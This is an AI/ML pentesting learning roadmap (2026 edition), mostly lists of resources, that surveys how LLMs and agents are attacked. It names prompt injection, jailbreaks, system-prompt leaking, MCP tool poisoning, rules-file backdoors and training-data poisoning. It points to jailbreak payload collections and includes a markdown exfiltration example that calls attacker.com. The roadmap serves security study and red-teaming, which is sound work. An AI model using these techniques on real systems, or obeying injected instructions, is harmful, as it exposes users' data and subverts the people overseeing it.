🛡️ AI/ML Pentesting Roadmap (2026 Edition)

A comprehensive, structured guide to learning AI/ML security and penetration testing — from zero to practitioner. Updated with the latest tools, research, attack surfaces (including MCP/agentic AI), and community resources.

📋 Table of Contents

1. Prerequisites
2. Phase 1 — Foundations
3. Phase 2 — AI/ML Security Concepts
4. Phase 3 — Prompt Injection & LLM Attacks
5. Phase 4 — Agentic AI & MCP Security ⭐ NEW
6. Phase 5 — Hands-On Practice
7. Phase 6 — Advanced Exploitation Techniques
8. Phase 7 — Real-World Research & Bug Bounty
9. Standards, Frameworks & References
10. Tools & Repositories
11. Books, PDFs & E-Books
12. Video Resources
13. CTF & Competitions
14. Bug Bounty Programs
15. Community & News
16. Key Academic Papers
17. Suggested Learning Path by Experience Level

Prerequisites

Before diving into AI/ML pentesting, ensure you have the following foundation:

General Security Basics

• PortSwigger Web Security Academy — Free, hands-on web security training (XSS, SQLi, SSRF, etc.)
• TryHackMe — Pre-Security Path
• HackTheBox Academy
• OWASP Top 10

Programming (Python is essential)

• Python for Everybody — Coursera
• Automate the Boring Stuff with Python — Free online book
• CS50P — Python — Free Harvard course

APIs & HTTP

• Understand REST APIs, HTTP methods, headers, and authentication flows
• Postman Learning Center
• Practice with tools: curl, Burp Suite, Postman

Phase 1 — Foundations

1.1 Machine Learning Fundamentals

1.2 Large Language Models (LLMs)

Understanding how LLMs work is critical before attacking them.

Phase 2 — AI/ML Security Concepts

2.1 Core Security Concepts

• OWASP LLM Top 10 (2025) — The definitive OWASP list for LLM vulnerabilities, updated for agentic systems
• OWASP GenAI Red Teaming Guide — Practical red teaming methodology
• MITRE ATLAS Matrix — Updated Oct 2025 with agentic AI techniques
• NIST AI Risk Management Framework — Federal AI risk guidance
• IBM — AI Security Overview
• AI Village — LLM Threat Modeling
• HackerOne — Ultimate Guide to Managing Ethical and Security Risks in AI
• Adversa AI 2025 Security Report — 35% of real-world AI incidents caused by simple prompts

2.2 Attack Surface Overview

Key attack vectors in AI/ML systems:

• Prompt Injection — Manipulating LLM behavior through crafted inputs
• Indirect Prompt Injection (IPI) — Attacks via documents, web content, emails, RAG pipelines
• Jailbreaking — Bypassing safety filters and guardrails
• Multi-Turn Attacks — Attacks unfolding across extended conversations (92% success rate reported in 2025 research)
• Tool Poisoning — Injecting malicious instructions into MCP tool metadata/descriptions
• Model Inversion — Extracting training data from a model
• Membership Inference — Determining if data was in training set
• Data Poisoning — Corrupting training data to influence behavior
• Adversarial Examples — Perturbed inputs that fool classifiers
• Model Extraction/Stealing — Cloning a model via API queries
• Supply Chain Attacks — Malicious models/weights on platforms like Hugging Face
• MCP Server Exploitation — Tool poisoning, resource theft, conversation hijacking via MCP
• AI IDE Attacks — Exploiting Cursor, GitHub Copilot, Claude Code via rules files and MCP config
• RAG Poisoning — Injecting malicious content into retrieval-augmented generation pipelines
• Training Data Exfiltration — Extracting memorized private data
• Denial of Service — Overloading models via crafted prompts
• Agent-to-Agent Attacks — Compromising multi-agent pipelines (A2A protocol abuse)

2.3 MLOps & Infrastructure Security

• From MLOps to MLOops — JFrog
• Offensive ML Playbook
• AI Exploits — ProtectAI
• Awesome AI Security — ottosulin

Phase 3 — Prompt Injection & LLM Attacks

3.1 Understanding Prompt Injection

• OWASP LLM01:2025 Prompt Injection — Canonical definition updated for agentic systems; the baseline every 2025–26 tool cites
• IBM Guide on Prompt Injection
• Simon Willison's Explanation of Prompt Injection
• Prompt Injection in 2026: Why the Attack Surface Keeps Growing — Explains why the problem is structural, not fixable by filters, and covers the Morris II AI worm
• Learn Prompting — Prompt Hacking and Injection
• PortSwigger LLM Attacks
• NCC Group — Exploring Prompt Injection Attacks
• Bugcrowd — AI Vulnerability Deep Dive: Prompt Injection
• Prompt Injection Cheat Sheet — Seclify — Practical cheat sheet for AI bot integrations
• Don't You (Forget NLP) — Dropbox Tech — Injection via control characters

3.2 Jailbreaking Techniques

• DAN (Do Anything Now) — Classic jailbreak technique: Chatgpt-DAN Repo
• Role-playing / Persona manipulation
• Token smuggling — Encoding instructions to bypass filters
• Prompt leaking — Extracting system prompts
• Indirect prompt injection — Attacks via documents, web content, memory
• Multi-turn jailbreaks — Steering models over successive conversation turns (>90% bypass rate against most published defenses)
• WideOpenAI — Jailbreak Collection
• PayloadsAllTheThings — Prompt Injection
• PALLMs — Payloads for Attacking LLMs

3.3 Indirect Prompt Injection

A sophisticated attack where malicious instructions are injected via external data sources (emails, documents, websites, RAG chunks) that an LLM agent processes.

• Greshake — LLM Security / Not What You've Signed Up For
• Embrace The Red — Blog — Leading blog covering real-world indirect injection
• GitHub Copilot Chat: Prompt Injection to Data Exfiltration
• Google AI Studio Data Exfiltration
• Indirect Prompt Injection Through MCP Tools: A Defense Guide — Feb 2026, covers every MCP tool category
• CrowdStrike — Indirect Prompt Injection Attacks: Hidden AI Risks — Dec 2025, enterprise IPI TTPs and SOC detection signals
• Lakera — Indirect Prompt Injection: The Hidden Threat — Zero-click RCE in MCP-based AI IDEs case study

3.4 Advanced Prompt Attack Techniques

• How to Persuade an LLM to Change Its System Prompt
• Design Patterns for Securing LLM Agents Against Prompt Injection — Jun 2025
• OpenAI — Hardening Atlas Against Prompt Injection Attacks — Dec 2025 real attack chain disclosure + RL-trained automated attacker
• Improving LLM Security Against Prompt Injection: AppSec Guidance — Role-based APIs and 13 system prompt guidelines
• Bugcrowd Ultimate Guide to AI Security (PDF)
• Snyk OWASP Top 10 LLM (PDF)
• Vanna.AI Prompt Injection RCE — JFrog

Phase 4 — Agentic AI & MCP Security ⭐ NEW

This is the fastest-growing and most dangerous attack surface as of 2025–2026. When LLMs are given tools, memory, and autonomous action capabilities, the blast radius of any injection expands dramatically.

4.1 Why Agentic AI Changes Everything

Agentic AI systems operate in observe-orient-decide-act loops. They can browse the web, read/write files, execute code, call APIs, and communicate with other agents. A single successful injection can lead to:

• Remote Code Execution (RCE)
• Data exfiltration from private repositories
• Unauthorized financial transactions
• Lateral movement across multi-agent pipelines

Key reading:

• AI Agent Attacks in Q4 2025 Signal New Risks for 2026 — eSecurity Planet
• Enterprises Are Racing to Secure Agentic AI Deployments — Help Net Security — Multi-turn attacks achieved 92% success against 8 open-weight models
• Adversa AI 2025 AI Security Incidents Report

4.2 Model Context Protocol (MCP) Security

MCP (introduced by Anthropic in late 2024) is rapidly becoming the standard for connecting LLMs to external tools — and is the dominant new attack surface.

MCP-specific attack classes:

• Tool Poisoning — Embedding malicious instructions in tool description fields that agents trust implicitly
• Tool Shadowing — Registering a malicious tool with a name/description that intercepts calls meant for a legitimate tool
• Resource Theft — Abusing MCP sampling to drain compute quotas
• Conversation Hijacking — Compromised MCP servers inject persistent instructions
• Covert Tool Invocation — Hidden file system operations without user awareness
• Cross-MCP Contamination — One MCP server overrides another's behavior

Key resources:

• Palo Alto Unit 42 — New Prompt Injection Attack Vectors Through MCP Sampling — Dec 2025, three critical attack vectors
• Checkmarx — 11 Emerging AI Security Risks with MCP — Nov 2025
• OWASP CheatSheet — Securely Using Third-Party MCP Servers — Practical guide
• MCP Prompt Injection: How AI Gets Hacked (YouTube) — Nov 2025 hands-on walkthrough
• ToxicSkills: Snyk Finds Malware in 36% of AI Agent Skills — Feb 2026, 1,467 malicious payloads in ClawHub registry

4.3 AI IDE & Coding Assistant Security

AI coding assistants (Claude Code, GitHub Copilot, Cursor) have system-level access and are a high-value target.

• Rules File Backdoor — .cursor/rules and similar config files can be poisoned with malicious instructions
• CVE-2025-53773 — GitHub Copilot RCE (CVSS 9.6) via prompt injection
• CVE-2025-54135 — Cursor indirect prompt injection via MCP config → RCE
• IDEsaster — 30+ CVEs in AI IDEs: The Hacker News coverage

Resources:

• Rules File Backdoor — Cursor/Copilot
• GitGuardian — Can GitHub Copilot Leak Secrets?
• Your AI, My Shell — arXiv 2025 — Systematic analysis of prompt injection in agentic coding editors

4.4 Multi-Agent & RAG Pipeline Attacks

• PoisonedRAG (USENIX Security 2025) — Knowledge corruption attack injecting poisoned texts into RAG databases
• A2A Protocol Abuse — Google's Agent2Agent protocol creates new inter-agent attack surfaces
• Log-To-Leak — Covert privacy attacks via side channels in agent logs
• ScienceDirect — From Prompt Injections to Protocol Exploits — 30+ attack techniques catalogued across agent ecosystems

4.5 Meta's "Agents Rule of Two" Framework

Meta's Oct 2025 architectural approach: agents must satisfy no more than two of:

• (A) Processing untrustworthy inputs
• (B) Access to sensitive data
• (C) Ability to change state externally

This provides a deterministic way to bound blast radius. Read: Meta — Practical AI Agent Security

Phase 5 — Hands-On Practice

5.1 Interactive Platforms & Games

5.2 Vulnerable-by-Design Projects

5.3 Tutorials

• Google AI Red Teaming Walkthrough (PDF)
• Spikee: Testing LLM Apps for Prompt Injection — WithSecure Labs — Step-by-step with Burp Suite integration
• How AI Prompt Injection Works | Hands-on with LLMs (YouTube) — Jan 2026 code-level demo with LLM Guard detection
• Prompt Injection in LLM Agents: ReAct, Langchain (YouTube) — Theory and hands-on lab
• Synthetic Recollections — WithSecure Labs — ReAct loop hijacking via forged thoughts

5.4 CTF Writeups to Study

• CTF Writeup — HackPack CTF 2024 LLM Edition
• LLM Pentest Writeups — System Weakness

Phase 6 — Advanced Exploitation Techniques

6.1 Agent & Tool Integration Attacks

• LLM Pentest: Leveraging Agent Integration for RCE — BlazeInfoSec
• Dumping a Database with an AI Chatbot — Synack
• CSWSH Meets LLM Chatbots
• Prompt Injection Attacks on Agentic Coding Assistants (SoK, arXiv 2026) — Meta-analysis of 78 studies; >85% attack success against state-of-the-art defenses

6.2 Data Exfiltration via LLMs

• Google AI Studio: LLM-Powered Data Exfiltration
• Google AI Studio Mass Data Exfil (Regression)
• Hacking Google Bard — From Prompt Injection to Data Exfiltration
• AWS Amazon Q Markdown Rendering Vulnerability
• GitHub Copilot Chat Data Exfiltration
• ChatGPT Plugins: Data Exfiltration via Images & Cross Plugin Request Forgery

6.3 Account Takeover & Authentication Attacks

• ChatGPT Account Takeover — Wildcard Web Cache Deception
• Shockwave — Critical ChatGPT Vulnerability (Web Cache Deception)
• Security Flaws in ChatGPT Ecosystem — Salt Security
• OpenAI Allowed Unlimited Credit on New Accounts — Checkmarx

6.4 XSS & Web Vulnerabilities in AI Products

• XSS Marks the Spot: Digging Up Vulnerabilities in ChatGPT — Imperva
• Zeroday on GitHub Copilot
• Prompt Injection 2.0: Hybrid AI Threats (arXiv 2025) — Prompt injections combined with XSS, CSRF, AI worm propagation to evade WAFs

6.5 Model & Infrastructure Attacks

• Shelltorch Explained — Multiple Vulnerabilities in TorchServe (CVSS 9.9)
• From ChatBot to SpyBot: ChatGPT Post-Exploitation — Imperva
• Microsoft FIDES — Information-Flow Control Against IPI in Copilot — Jul 2025 privilege separation system

6.6 Persistent Attacks & Memory Exploitation

• ChatGPT Persistent Denial of Service via Memory Attacks — Embrace the Red

6.7 Adversarial Machine Learning

• CleverHans Library — Adversarial example library
• ART (Adversarial Robustness Toolbox) — IBM
• Foolbox — Python toolbox for adversarial attacks

6.8 Supply Chain & Model File Attacks

• Malicious code embedded in model files (pickle, safetensors) can execute on load
• 250 poisoned documents in training data can implant backdoors that activate on trigger phrases
• ModelScan — ProtectAI — Scan ML model files for malicious payloads
• Fake npm/pip packages mimicking AI integrations (e.g., fake email MCP that silently copies outbound messages)

Phase 7 — Real-World Research & Bug Bounty

7.1 Notable Research & Disclosures

• We Hacked Google AI for $50,000 — LandH
• New Google Gemini Content Manipulation Vulnerabilities — HiddenLayer
• Jailbreak of Meta AI (Llama 3.1) Revealing Config Details
• My LLM Bug Bounty Journey on Hugging Face Hub
• Anonymised Penetration Test Report — Volkis
• Lakera Real World LLM Exploits (PDF)
• AI Penetration Testing: A Complete Guide — HackingDream — Mar 2026 comprehensive playbook

7.2 How to Find LLM Vulnerabilities

Key areas to test when assessing an LLM-powered application:

1. System prompt extraction — Can you leak the hidden system prompt?
2. Instruction override — Can you ignore system-level instructions?
3. Plugin/tool abuse — Can agent tools be misused (SSRF, RCE, SQLi)?
4. MCP tool poisoning — Can you inject instructions into tool metadata?
5. Data exfiltration via markdown — Does the UI render ![](https://attacker.com?q=...) ?
6. Persistent injection via memory/RAG — Can you inject instructions that persist?
7. PII leakage — Does the model reveal training data or other users' data?
8. Cross-user data leakage — In multi-tenant apps, can you access other users' contexts?
9. Authentication bypass — Can you trick the LLM into performing privileged actions?
10. Multi-turn escalation — Can you steer the model across conversation turns?
11. AI IDE rules file backdoor — Can .cursor/rules or similar files be poisoned?
12. Supply chain — Are third-party models/datasets scanned for malicious payloads?

Standards, Frameworks & References

Tools & Repositories

Offensive Tools

Defensive / Scanning Tools

Reference Lists

Books, PDFs & E-Books

Video Resources

CTF & Competitions

Bug Bounty Programs

AI/ML security bug bounties are growing rapidly. Target these platforms:

Tips for AI bug bounty:

• Focus on data exfiltration via markdown rendering (common finding)
• Test MCP tool poisoning — embed instructions in tool descriptions
• Test plugin/tool integrations thoroughly for SSRF, RCE
• Look for prompt injection in RAG pipelines
• Explore memory and persistent context manipulation
• Check for cross-tenant data leakage in multi-user deployments
• Test AI IDE rules files for backdoor injection vectors
• Look for multi-turn escalation bypasses in long conversations

Community & News

Communities

• AI Village — DEF CON's AI security community
• OWASP AI Exchange — Open standard for AI security
• OWASP Gen AI Security Project — Standards body maintaining LLM Top 10
• ProtectAI — AI security research and tools
• Embrace the Red — Blog — Leading blog on LLM security
• Kai Greshake's Research — Indirect prompt injection research
• r/llmsecurity — Most active LLM security subreddit

Newsletters & Blogs

• The Batch — DeepLearning.AI — Weekly AI news
• Simon Willison's Weblog — Authoritative LLM security commentary
• HiddenLayer Research — AI security research
• Lakera Blog — LLM and agentic AI security insights
• PortSwigger Research — Web + AI security research
• Adversa AI Blog — Real-world AI security incidents and red teaming

Key Academic Papers

Suggested Learning Path by Experience Level

🟢 Beginner (0–3 months)

1. Complete PortSwigger Web Security Academy fundamentals
2. Learn Python basics
3. Take Google ML Crash Course
4. Read OWASP LLM Top 10 (2025)
5. Play Gandalf — all 8 levels
6. Read Simon Willison's prompt injection article
7. Watch Andrej Karpathy — Intro to LLMs
8. Read Prompt Injection Cheat Sheet — Seclify

🟡 Intermediate (3–9 months)

1. Study MITRE ATLAS Matrix (including 2025 agentic updates)
2. Complete PortSwigger LLM Attack labs
3. Set up and exploit Damn Vulnerable LLM Agent
4. Complete PromptTrace Gauntlet and Crucible challenges
5. Read the LLM Hacker's Handbook
6. Study Embrace the Red blog in full
7. Experiment with Garak and PyRIT
8. Try Offensive ML Playbook
9. Watch MCP Prompt Injection: How AI Gets Hacked
10. Read Palo Alto Unit 42 MCP Attack Vectors

🔴 Advanced (9+ months)

1. Participate in AI Village CTF at DEF CON
2. Submit findings to Huntr or OpenAI Bug Bounty
3. Study adversarial ML with ART and CleverHans
4. Read the 2025–2026 academic papers (SoK papers, The Attacker Moves Second, Prompt Injection 2.0)
5. Set up a local MCP environment and test tool poisoning and tool shadowing attacks
6. Contribute to open source tools like Garak or AI Exploits
7. Test Augustus against your own LLM apps
8. Build your own vulnerable agentic demo environment with MCP integration
9. Write and publish research — blog posts, CVEs, conference talks

What's New in This Edition (vs. 2025)

Last updated: March 2026 | Contributions welcome — submit a PR with new resources.